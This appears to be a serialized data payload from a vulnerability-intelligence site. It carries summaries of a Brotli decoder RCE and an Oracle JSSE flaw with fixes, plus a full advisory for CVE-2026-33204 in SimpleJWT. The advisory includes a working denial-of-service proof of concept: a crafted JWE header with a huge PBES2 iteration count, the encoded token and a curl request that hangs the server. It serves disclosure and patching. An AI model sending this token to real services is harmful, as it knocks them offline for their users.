[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"landing-trending":3,"cve-CVE-2026-33204":30,"landing-articles":91},{"count":4,"next":5,"previous":6,"results":7},266,"http:\u002F\u002Fweb:8606\u002Fapi\u002Ftrending_attacks\u002F?page=2&page_size=3&sorted_by=-published_at",null,[8,17,20],{"id":9,"title":10,"summary":11,"published_at":12,"severity":13,"vendor":14,"products":15},265,"Google Brotli decoder - Remote Code Execution via compressed requests (Exploitation Check)","This control is the second step of the Patrowl response to CVE-2026-111497 (Node2Shell). It complements the first control of 22 October 2026, which focused on the Node.js runtime, and does not replace it.\r\n\r\nWhy a second control\r\n\r\nCVE-2026-111497 is an out-of-bounds write in the Google Brotli decoder, the library that decompresses Brotli (\"br\") data. It was first published as a Node.js vulnerability, because Node.js bundles this decoder. Later publications showed that the flaw is in the library itself. Every product that embeds an affected version of the decoder is concerned, whatever its language or vendor. A public proof of concept demonstrates code execution.\r\n\r\nAny server that decompresses request bodies sent with \"Content-Encoding: br\" exposes the decoder to unauthenticated attackers. Known cases include Express 5 and NestJS 11 on Node.js, Koa and Fastify setups, Bun, Envoy and Istio with request decompression enabled, and any application or reverse proxy that decodes Brotli request bodies with an affected library.\r\n\r\nThe flaw also works in the other direction. A malicious server can compromise an unpatched client that decodes a Brotli response, for example Node.js fetch(), Python clients (requests, httpx, aiohttp, Scrapy) with the Brotli or brotlicffi package, or libcurl builds with Brotli support.\r\n\r\nWhat this control checks\r\n\r\nPatrowl sends small, valid Brotli-compressed requests to each asset and observes whether the server decodes them. The check does not depend on the technology: it detects the behaviour, whatever the stack behind it. These requests are what any legitimate client could send. They never reach the vulnerable code path and cannot affect the availability of the service.\r\n\r\nHow to read the result\r\n\r\nPotentially impacted means the asset decodes Brotli request bodies: the attack surface is exposed. It does not confirm that the asset is vulnerable. The version of the Brotli decoder in use is not visible from the outside.\r\n\r\nThis check covers applications that parse request bodies on their root path. A Not impacted result does not rule out exposure on other routes, nor on the client side. Checking the versions on the servers remains the only exhaustive verification.\r\n\r\nAffected and fixed versions\r\n\r\nGoogle Brotli 1.0.3 to 1.2.0 are affected, fixed in 1.0.10, 1.1.1 and 1.2.1. Fixed releases of the main products embedding it: Node.js 22.23.4, 24.22.1 and 26.12.1 (end-of-life lines 20.x and older and 25.x receive no fix), Bun 1.4.4, Envoy 1.37.8, 1.38.6, 1.39.3 and 1.40.0, Istio 1.29.9, 1.30.6 and 1.31.2, Python Brotli 1.2.1 and brotlicffi 1.2.1.0. Products that link against the system library depend on the Brotli package of the Linux distribution.\r\n\r\nRecommendations\r\n\r\nUpdate every component that embeds the Brotli decoder (only real fix). Start with the assets flagged by this control. Restart the processes after the update. Rebuild containers, single-executable applications and appliances that bundle an affected runtime or library.\r\n\r\nReduce the exposure until the update is deployed. Reject requests with \"Content-Encoding: br\" at the reverse proxy, load balancer or WAF, case-insensitively and including lists such as \"gzip, br\". On Envoy and Istio, disable request decompression for Brotli.\r\n\r\nReview outbound calls. List the features that fetch content from servers you do not control, and patch the services that host them first.","2026-10-24T10:37:22.192753Z",4,"google",[16],"brotli",{"id":4,"title":10,"summary":18,"published_at":12,"severity":13,"vendor":14,"products":19},"This control is the second step of the Patrowl response to CVE-2026-111497 (Node2Shell). It complements the first control of 22 October 2026, which focused on the Node.js runtime, and does not replace it.\r\n\r\nWhy a second control\r\n\r\nCVE-2026-111497 is an out-of-bounds write in the Google Brotli decoder, the library that decompresses Brotli (\"br\") data. It was first published as a Node.js vulnerability, because Node.js bundles this decoder. Later publications showed that the flaw is in the library itself. Every product that embeds an affected version of the decoder is concerned, whatever its language or vendor. A public proof of concept demonstrates code execution.\r\n\r\nAny server that decompresses request bodies sent with \"Content-Encoding: br\" exposes the decoder to unauthenticated attackers. Known cases include Express 5 and NestJS 11 on Node.js, Koa and Fastify setups, Bun, Envoy and Istio with request decompression enabled, and any application or reverse proxy that decodes Brotli request bodies with an affected library.\r\n\r\nThe flaw also works in the other direction. A malicious server can compromise an unpatched client that decodes a Brotli response, for example Node.js fetch(), Python clients (requests, httpx, aiohttp, Scrapy) with the Brotli or brotlicffi package, or libcurl builds with Brotli support.\r\n\r\nWhat this control checks\r\n\r\nPatrowl sends small, valid Brotli-compressed requests to each asset and observes whether the server decodes them. The check does not depend on the technology: it detects the behaviour, whatever the stack behind it. These requests are what any legitimate client could send. They never reach the vulnerable code path and cannot affect the availability of the service.\r\n\r\nHow to read the result\r\n\r\nPotentially impacted means the asset decodes Brotli request bodies: the attack surface is exposed. It does not confirm that the asset is vulnerable. The version of the Brotli decoder in use is not visible from the outside.\r\n\r\nThis check covers applications that parse request bodies on their root path. A Not impacted result does not rule out exposure on other routes, nor on the client side. Checking the versions on the servers remains the only exhaustive verification.\r\n\r\nTwo situations are possible. When the decoding is done by your own application or reverse proxy, identify the component and update it. If an update is not possible right away, reject requests with \"Content-Encoding: br\" at the reverse proxy or WAF.\r\n\r\nWhen the asset is hosted on a managed platform or behind a CDN (for example Platform.sh, Upsun or Fastly), the decoding may be done by the provider's edge router, in front of your application. You cannot patch it yourself, but this router handles all the traffic of your site. Ask your provider to confirm that its edge components are patched against CVE-2026-111497. Assets hosted on a managed platform or behind a CDN carry the tag \"paas: platform.sh\" or \"cdn: fastly\" in the asset view: for these assets, the Brotli decoding is done by the provider's edge router, in front of your application, and only the provider can patch it.\r\n\r\nAffected and fixed versions\r\n\r\nGoogle Brotli 1.0.3 to 1.2.0 are affected, fixed in 1.0.10, 1.1.1 and 1.2.1. Fixed releases of the main products embedding it: Node.js 22.23.4, 24.22.1 and 26.12.1 (end-of-life lines 20.x and older and 25.x receive no fix), Bun 1.4.4, Envoy 1.37.8, 1.38.6, 1.39.3 and 1.40.0, Istio 1.29.9, 1.30.6 and 1.31.2, Python Brotli 1.2.1 and brotlicffi 1.2.1.0. Products that link against the system library depend on the Brotli package of the Linux distribution.\r\n\r\nRecommendations\r\n\r\nUpdate every component that embeds the Brotli decoder (only real fix). Start with the assets flagged by this control. Restart the processes after the update. Rebuild containers, single-executable applications and appliances that bundle an affected runtime or library.\r\n\r\nReduce the exposure until the update is deployed. Reject requests with \"Content-Encoding: br\" at the reverse proxy, load balancer or WAF, case-insensitively and including lists such as \"gzip, br\". On Envoy and Istio, disable request decompression for Brotli.\r\n\r\nContact your edge provider about the status of the pathing (Fastly \u002F Plateform.sh)\r\n\r\nReview outbound calls. List the features that fetch content from servers you do not control, and patch the services that host them first.",[16],{"id":21,"title":22,"summary":23,"published_at":24,"severity":13,"vendor":25,"products":26},263,"Oracle Java SE JSSE - Improper Access Control & Unauthorized Data Access & Unauthorized Data Modification","Oracle Java SE is the Java runtime and development platform. Its JSSE (Java Secure Socket Extension) component provides TLS\u002FSSL for secure network communication. Oracle GraalVM is a JDK distribution based on the same platform.\r\n\r\nCVE-2026-91403\r\n\r\nA vulnerability in the JSSE component of Oracle Java SE, Oracle GraalVM for JDK and Oracle GraalVM Enterprise Edition can be exploited by an unauthenticated attacker with network access over multiple protocols. A successful attack can give unauthorized access to critical data and allow unauthorized creation, deletion or modification of data. It can also affect sandboxed Java Web Start applications and applets that run untrusted code. The record lists the weakness as CWE-284 (Improper Access Control) in the CISA ADP entry, while another database lists CWE-295. The record lists these affected versions:\r\n- Oracle Java SE: 8u511, 8u511-perf, 11.0.33, 17.0.21, 21.0.13, 25.0.5, 27.0.1.\r\n- Oracle GraalVM for JDK: 17.0.21, 21.0.13.\r\n- Oracle GraalVM Enterprise Edition: 21.3.20.\r\n\r\nOracle published an out-of-cycle Security Alert on October 21, 2026. One secondary source says the fix makes Java distrust eight compromised intermediate CA certificates shipped with the JDK. The Oracle-focused sources do not confirm this root cause, so check it against the Oracle advisory. CISA ADP SSVC data shows Exploitation: none, Automatable: yes, Technical Impact: total. The CVE is not in the CISA KEV catalog as of October 22, 2026, and its EPSS score is below 1%.","2026-10-23T14:12:32.871954Z","Oracle",[27,28,29],"Oracle Java SE","Oracle GraalVM Enterprise Edition","Oracle GraalVM for JDK",{"id":31,"cve_id":32,"euvd_id":33,"summary":34,"published":35,"cvss_data":36,"is_remote":46,"cwes":47,"cpes":49,"technologies":52,"references":54,"score":59,"epss_score":60,"epss_percentile":61,"is_kev":62,"cisa_kev_date_added":6,"cisa_kev_due_date":6,"cisa_ssvc":63,"attack_mappings":73,"exploits":89},18325,"CVE-2026-33204","EUVD-2026-13871","SimpleJWT has an Unauthenticated Denial of Service via JWE header tampering\n\n## Summary\n\nAn unauthenticated attacker can perform a Denial of Service via JWE header tampering when PBES2 algorithms are used.  \nApplications that call `JWE::decrypt()` on attacker-controlled JWEs using PBES2 algorithms are affected.\n\n## Details\n\nPHP version: `PHP 8.4.11`\nSimpleJWT version: `v1.1.0`\n\nThe relevant portion of the vulnerable implementation is shown below ([PBES2.php](https:\u002F\u002Fgithub.com\u002Fkelvinmo\u002Fsimplejwt\u002Fblob\u002Fedb7807a240b72c59e72d7dca31add9d16555f9f\u002Fsrc\u002FSimpleJWT\u002FCrypt\u002FKeyManagement\u002FPBES2.php)):\n\n```PHP\n\u003C?php\n\u002F* ... SNIP ... *\u002F\nclass PBES2 extends BaseAlgorithm implements KeyEncryptionAlgorithm {\n    use AESKeyWrapTrait;\n\n    \u002F** @var array\u003Cstring, mixed> $alg_params *\u002F\n    static protected $alg_params = [\n        'PBES2-HS256+A128KW' => ['hash' => 'sha256'],\n        'PBES2-HS384+A192KW' => ['hash' => 'sha384'],\n        'PBES2-HS512+A256KW' => ['hash' => 'sha512']\n    ];\n\n    \u002F** @var truthy-string $hash_alg *\u002F\n    protected $hash_alg;\n\n    \u002F** @var int $iterations *\u002F\n    protected $iterations = 4096;\n    \n    \u002F* ... SNIP ... *\u002F\n\n    \u002F**\n     * Sets the number of iterations to use in PBKFD2 key generation.\n     *\n     * @param int $iterations number of iterations\n     * @return void\n     *\u002F\n    public function setIterations(int $iterations) {\n        $this->iterations = $iterations;\n    }\n    \n    \u002F* ... SNIP ... *\u002F\n\n    \u002F**\n     * {@inheritdoc}\n     *\u002F\n    public function decryptKey(string $encrypted_key, KeySet $keys, array $headers, ?string $kid = null): string {\n        \u002F** @var SymmetricKey $key *\u002F\n        $key = $this->selectKey($keys, $kid);\n        if ($key == null) {\n            throw new CryptException('Key not found or is invalid', CryptException::KEY_NOT_FOUND_ERROR);\n        }\n        if (!isset($headers['p2s']) || !isset($headers['p2c'])) {\n            throw new CryptException('p2s or p2c headers not set', CryptException::INVALID_DATA_ERROR);\n        }\n\n        $derived_key = $this->generateKeyFromPassword($key->toBinary(), $headers);\n        return $this->unwrapKey($encrypted_key, $derived_key, $headers);\n    }\n    \n    \u002F* ... SNIP ... *\u002F\n\n    \u002F**\n     * @param array\u003Cstring, mixed> $headers\n     *\u002F\n    private function generateKeyFromPassword(string $password, array $headers): string {\n        $salt = $headers['alg'] . \"\\x00\" . Util::base64url_decode($headers['p2s']);\n        \u002F** @var int\u003C0, max> $length *\u002F\n        $length = intdiv($this->getAESKWKeySize(), 8);\n\n        return hash_pbkdf2($this->hash_alg, $password, $salt, $headers['p2c'], $length, true);\n    }\n}\n?>\n```\n\nThe security flaw lies in the lack of input validation when handling JWEs that uses PBES2.  \nA \"sanity ceiling\" is not set on the iteration count, which is the parameter known in the JWE specification as `p2c` ([RFC7518](https:\u002F\u002Fdatatracker.ietf.org\u002Fdoc\u002Fhtml\u002Frfc7518#section-4.8.1.2)).  \nThe library calls `decryptKey()` with the untrusted input `$headers` which then use the PHP function `hash_pbkdf2()` with the user-supplied value `$headers['p2c']`.\n\nThis results in an algorithmic complexity denial-of-service (CPU exhaustion) because the PBKDF2 iteration count is fully attacker-controlled.  \nBecause the header is processed before successful decryption and authentication, the attack can be triggered using an invalid JWE, meaning authentication is not required.\n\n## Proof of Concept\n\nSpin up a simple PHP server which accepts a JWE as input and tries to decrypt the user supplied JWE.\n\n```bash\nmkdir simplejwt-poc\ncd simplejwt-poc\ncomposer install\ncomposer require kelvinmo\u002Fsimplejwt\nphp -S localhost:8000\n```\n\nThe content of `index.php`:\n\n```php\n\u003C?php\n\nrequire __DIR__ . '\u002Fvendor\u002Fautoload.php';\n\n$set = SimpleJWT\\Keys\\KeySet::createFromSecret('secret123');\n\n$uri = parse_url($_SERVER['REQUEST_URI'], PHP_URL_PATH);\n$method = $_SERVER['REQUEST_METHOD'];\n\nif ($uri === '\u002Fencrypt' && $method === 'GET') {\n    \u002F\u002F Note $headers['alg'] and $headers['enc'] are required\n    $headers = ['alg' => 'PBES2-HS256+A128KW', 'enc' => 'A256CBC-HS512'];\n    $plaintext = 'This is the plaintext I want to encrypt.';\n    $jwe = new SimpleJWT\\JWE($headers, $plaintext);\n\n    try {\n        echo \"Encrypted JWE: \" . $jwe->encrypt($set);\n    } catch (\\RuntimeException $e) {\n        echo $e;\n    }\n}\n\nelseif ($uri === '\u002Fdecrypt' && $method === 'GET') {\n    try {\n        $jwe = $_GET['s'];\n        $jwe = SimpleJWT\\JWE::decrypt($jwe, $set, 'PBES2-HS256+A128KW');\n    } catch (SimpleJWT\\InvalidTokenException $e) {\n        echo $e;\n    }\n    echo $jwe->getHeader('alg') . \"\u003Cbr>\";\n    echo $jwe->getHeader('enc') . \"\u003Cbr>\";\n    echo $jwe->getPlaintext() . \"\u003Cbr>\";\n    }\n\nelse {\n    http_response_code(404);\n    echo \"Route not found\";\n}\n\n?>\n```\n\nWe have to craft a JWE (even unsigned and unencrypted) with this header, notice the extremely large p2c value (more than 400 billion iterations):\n\n```json\n{\n    \"alg\": \"PBES2-HS256+A128KW\",\n    \"enc\": \"A128CBC-HS256\",\n    \"p2s\": \"blablabla\",\n    \"p2c\": 409123223136\n}\n```\n\nThe final JWE with poisoned header: `eyJhbGciOiJQQkVTMi1IUzI1NitBMTI4S1ciLCJlbmMiOiJBMTI4Q0JDLUhTMjU2IiwicDJzIjoiYmxhYmxhYmxhIiwicDJjIjo0MDkxMjMyMjMxMzZ9.bla.bla.bla.bla`.\n\nNotice that only the header needs to be valid Base64URL JSON, the remaining JWE segments can contain arbitrary data.\n\nPerform the following request to the server (which tries to derive the PBES2 key):\n\n```bash\ncurl --path-as-is -i -s -k -X $'GET' \\\n    -H $'Host: localhost:8000' \\\n    $'http:\u002F\u002Flocalhost:8000\u002Fdecrypt?s=eyJhbGciOiJQQkVTMi1IUzI1NitBMTI4S1ciLCJlbmMiOiJBMTI4Q0JDLUhTMjU2IiwicDJzIjoiYmxhYmxhYmxhIiwicDJjIjo0MDkxMjMyMjMxMzZ9.bla.bla.bla.bla'\n```\n\nThe request blocks the worker until the PHP execution timeout is reached, shutting down the server:\n\n```console\n[Sun Mar 15 11:42:18 2026] PHP 8.4.11 Development Server (http:\u002F\u002Flocalhost:8000) started\n[Sun Mar 15 11:42:20 2026] 127.0.0.1:38532 Accepted\n\nFatal error: Maximum execution time of 30+2 seconds exceeded (terminated) in \u002Fhome\u002Fedoardottt\u002Fhack\u002Ftest\u002Fsimplejwt-poc\u002Fvendor\u002Fkelvinmo\u002Fsimplejwt\u002Fsrc\u002FSimpleJWT\u002FCrypt\u002FKeyManagement\u002FPBES2.php on line 168\n```\n\n## Impact\n\nAn attacker can send a crafted JWE with an extremely large `p2c` value to force the server to perform a very large number of PBKDF2 iterations.  \nThis causes excessive CPU consumption during key derivation and blocks the request worker until execution limits are reached.  \nRepeated requests can exhaust server resources and make the application unavailable to legitimate users.\n\n## Credits \n\nEdoardo Ottavianelli (@edoardottt)","2026-03-18T20:16:00Z",{"cvss_v3.1":37},{"scope":38,"version":39,"baseScore":40,"attackVector":41,"baseSeverity":42,"vectorString":43,"integrityImpact":44,"userInteraction":44,"attackComplexity":45,"availabilityImpact":42,"privilegesRequired":44,"confidentialityImpact":44},"UNCHANGED","3.1",7.5,"NETWORK","HIGH","CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:N\u002FI:N\u002FA:H","NONE","LOW",true,[48],"CWE-400",[50,51],"cpe:2.3:a:kelvinmo:simplejwt:*:*:*:*:*:*:*:*","cpe:2.3:a:kelvinmo:simplejwt:1.1.0:*:*:*:*:*:*:*",[53],"Kelvinmo Simplejwt",[55,56,57,58],"https:\u002F\u002Fgithub.com\u002Fkelvinmo\u002Fsimplejwt\u002Freleases\u002Ftag\u002Fv1.1.1","https:\u002F\u002Fgithub.com\u002Fkelvinmo\u002Fsimplejwt\u002Fsecurity\u002Fadvisories\u002FGHSA-xw36-67f8-339x","https:\u002F\u002Fnvd.nist.gov\u002Fvuln\u002Fdetail\u002FCVE-2026-33204","https:\u002F\u002Fgithub.com\u002Fkelvinmo\u002Fsimplejwt",0.73,0.00489,0.41785,false,{"timestamp":64,"automatable":65,"tech_impact":66,"exploitation":67,"cisa_decision":68,"cisa_remediation_timeline":72},"2026-03-24T15:33:43.475530Z","yes","partial","poc",{"vector":69,"decision":70,"priority":71},"CISAv1\u002FE:P\u002FA:Y\u002FT:P\u002FM:H\u002F2026-10-26T10:05:22.425243\u002F","attend","medium","14D",[74,80],{"name":75,"source":76,"tactics":77,"technique_id":79},"Exploit Public-Facing Application","attack_vector",[78],"initial-access","T1190",{"name":81,"source":82,"cwe_ids":83,"tactics":84,"capec_ids":86,"technique_id":88},"Endpoint Denial of Service","capec",[48],[85],"impact",[87],"CAPEC-227","T1499",[90],{"link":56},{"count":92,"next":93,"previous":6,"results":94},26,"http:\u002F\u002Fweb:8606\u002Fapi\u002Farticles\u002F?page=2&page_size=3&sorted_by=-published_at",[95,103,111],{"id":96,"title":97,"summary":98,"published_at":99,"type":100,"link":101,"image_url":102},30,"PHP2Shell: Two Critical RCE Flaws in PHP (CVSS 9.2)","Unauthenticated code execution demonstrated on WordPress, Drupal and Joomla, and reproduced in our lab. Patched versions and steps to take today.","2026-10-22T00:00:00Z","cve","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fphp2shell-2-critical-rce-flaws-php-cvss-9-2","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002Fc0615c4ee6-1792684469\u002Fphp2shell-2-critical-rce-flaws-php-cvss-9-2.png",{"id":104,"title":105,"summary":106,"published_at":107,"type":108,"link":109,"image_url":110},29,"Manage External Security Across All Your Entities","Centralize the management of entities, users and external security resources while maintaining strict data isolation with Patrowl.","2026-09-15T00:00:00Z","security tips","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fmulti-entity-external-security-how-structure-governance-group-level","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002F8b2c0cc5eb-1789551467\u002Fvisu_1_multi_tenancy_dark_1x.webp",{"id":112,"title":113,"summary":114,"published_at":115,"type":116,"link":117,"image_url":118},28,"Will AI Become the Next Hacker? Bruce Schneier Answers at DEF CON 34","Tax law, finance, legislation: Bruce Schneier shows how AI could hack human rule systems just as easily as it hacks software.","2026-09-14T00:00:00Z","hacks","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fbruce-schneier-def-con-34","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002F5c616d9db4-1789462598\u002Fai-hacker.en.png"]